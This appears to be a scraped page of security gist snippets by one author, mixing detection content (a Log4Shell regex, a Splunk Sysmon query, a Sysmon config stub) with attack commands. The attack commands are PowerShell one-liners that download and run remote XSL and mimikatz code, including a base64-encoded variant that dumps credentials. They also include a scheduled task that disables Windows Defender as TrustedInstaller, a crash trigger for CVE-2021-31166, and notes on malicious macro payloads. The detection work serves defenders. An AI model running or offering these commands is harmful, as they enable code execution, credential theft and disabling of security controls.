MHaggis

//Example Reference:
// https://unit42.paloaltonetworks.com/unit42-houdinis-magic-reappearance/
// Test 


new ActiveXObject('WScript.Shell').Environment('Process')('TMP') = 'C:\\Tools';
// Change that C:\\Tools to a location you specify, or dynamically find current directory.
// ActCTX will search for the DLL in TMP

var manifest = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> 	<assemblyIdentity type="win32" name="DynamicWrapperX" version="2.2.0.0"/> 	<file name="dynwrapx.dll">     	<comClass         	description="DynamicWrapperX Class"         	clsid="{89565276-A714-4a43-912E-978B935EDCCC}"         	threadingModel="Both"         	progid="DynamicWrapperX"/> 	</file>  </assembly>';

MHaggis

(\$|%(25)*24)(\{|%(25)*7B)(((\$|%(25)*24)(\{|%(25)*7B)[^}]+(j|%[46]a)(n|%[46]e)?(d|%[46]4)?(i|%[46]9)?(%(25)*7(d|%[46]4)|\})|(j|%[46]a)(n|%[46]e)?(d|%[46]4)?(i|%[46]9)?)((\$|%(25)*24)(\{|%(25)*7B)[^}]+(j|%[46]a)?(n|%[46]e)(d|%[46]4)?(i|%[46]9)?(%(25)*7(d|%[46]4)|\})|(j|%[46]a)?(n|%[46]e)(d|%[46]4)?(i|%[46]9)?)((\$|%(25)*24)(\{|%(25)*7B)[^}]+(j|%[46]a)?(n|%[46]e)?(d|%[46]4)(i|%[46]9)?(%(25)*7(d|%[46]4)|\})|(j|%[46]a)?(n|%[46]e)?(d|%[46]4)(i|%[46]9)?)((\$|%(25)*24)(\{|%(25)*7B)[^}]+(j|%[46]a)?(n|%[46]e)?(d|%[46]4)?(i|%[46]9)(%(25)*7(d|%[46]4)|\})|(j|%[46]a)?(n|%[46]e)?(d|%[46]4)?(i|%[46]9))|((\$|%(25)*24)(\{|%(25)*7B)[^}]+(j|%[46]a)?(n|%[46]e)?(d|%[46]4)?(i|%[46]9)?(%(25)*7(d|%[46]4)|\})|(j|%[46]a|n|%[46]e|d|%[46]4|i|%[46]9)+)+)

MHaggis

${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}
${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}

MHaggis

##############################################################################
### Powershell Xml/Xsl Assembly "Fetch & Execute"
### [https://twitter.com/bohops/status/966172175555284992]

$s=New-Object System.Xml.Xsl.XsltSettings;$r=New-Object System.Xml.XmlUrlResolver;$s.EnableScript=1;$x=New-Object System.Xml.Xsl.XslCompiledTransform;$x.Load('https://gist.githubusercontent.com/bohops/ee9e2d7bdd606c264a0c6599b0146599/raw/f8245f99992eff00eb5f0d5738dfbf0937daf5e4/xsl-notepad.xsl',$s,$r);$x.Transform('https://gist.githubusercontent.com/bohops/ee9e2d7bdd606c264a0c6599b0146599/raw/f8245f99992eff00eb5f0d5738dfbf0937daf5e4/xsl-notepad.xml','z');del z;

##############################################################################
### Powershell VBScript Assembly SCT "Fetch & Execute"
### [https://twitter.com/bohops/status/965670898379476993]

MHaggis

```
Author: @0x1FFFFF 
Date: 1 September, 2021
Goal: Enumerate the human readable permission listed in Sysmon EID 10s.
Note: This type of logic is too heavy to run inline in a search. Use this to generate results and add to a lookup table.
```

$Your_Sysmon_Logic_Here$ EventCode=10
| stats count by GrantedAccess 

MHaggis

$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add('http://localhost:8080/') 
$listener.Start()
curl.exe -H 'Accept-Encoding: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag, ,' http://localhost:8080/

xref: https://github.com/0vercl0k/CVE-2021-31166/blob/main/cve-2021-31166.py

MHaggis

<Sysmon schemaversion="4.50">
    <HashAlgorithms>md5,sha256</HashAlgorithms>
    <EventFiltering>
        <!--Event ID 1: Process creation-->
        <ProcessCreate onmatch="include"></ProcessCreate>
        <!--Event ID 2: A process changed a file creation time-->
        <FileCreateTime onmatch="include"></FileCreateTime>
        <!--Event ID 3: Network connection-->
        <NetworkConnect onmatch="include"></NetworkConnect>
        <!--Event ID 5: Process terminated-->

MHaggis

*NOTE - These pull from public GitHub Repos that are not under my control. Make sure you trust the content (or better yet, make your own fork) prior to using!*

#mimikatz [local]
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command privilege::debug; Invoke-Mimikatz -DumpCreds;

#encoded-mimikatz [local]
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AQgBDAC0AUwBFAEMAVQBSAEkAVABZAC8ARQBtAHAAaQByAGUALwBtAGEAcwB0AGUAcgAvAGQAYQB0AGEALwBtAG8AZAB1AGwAZQBfAHMAbwB1AHIAYwBlAC8AYwByAGUAZABlAG4AdABpAGEAbABzAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAiACkAOwAgAEkAbgB2AG8AawBlAC0ATQBpAG0AaQBrAGEAdAB6ACAALQBDAG8AbQBtAGEAbgBkACAAcAByAGkAdgBpAGwAZQBnAGUAOgA6AGQAZQBiAHUAZwA7ACAASQBuAHYAbwBrAGUALQBNAGkAbQ

MHaggis

$cmdline = '/C sc.exe config windefend start= disabled && sc.exe sdset windefend D:(D;;GA;;;WD)(D;;GA;;;OW)'

$a = New-ScheduledTaskAction -Execute "cmd.exe" -Argument $cmdline
Register-ScheduledTask -TaskName 'TestTask' -Action $a

$svc = New-Object -ComObject 'Schedule.Service'
$svc.Connect()

$user = 'NT SERVICE\TrustedInstaller'
$folder = $svc.GetFolder('\')

MHaggis

This is a note for myself describing various Visual Basic macros construction strategies that could be used for remote code execution via malicious Document vector. Nothing new or fancy here, just a list of techniques, tools and scripts collected in one place for a quick glimpse of an eye before setting a payload.

All of the below examples had been generated for using as a remote address: 192.168.56.101.

List:

0. Page substiution macro for luring user to click Enable Content
1. The Unicorn Powershell based payload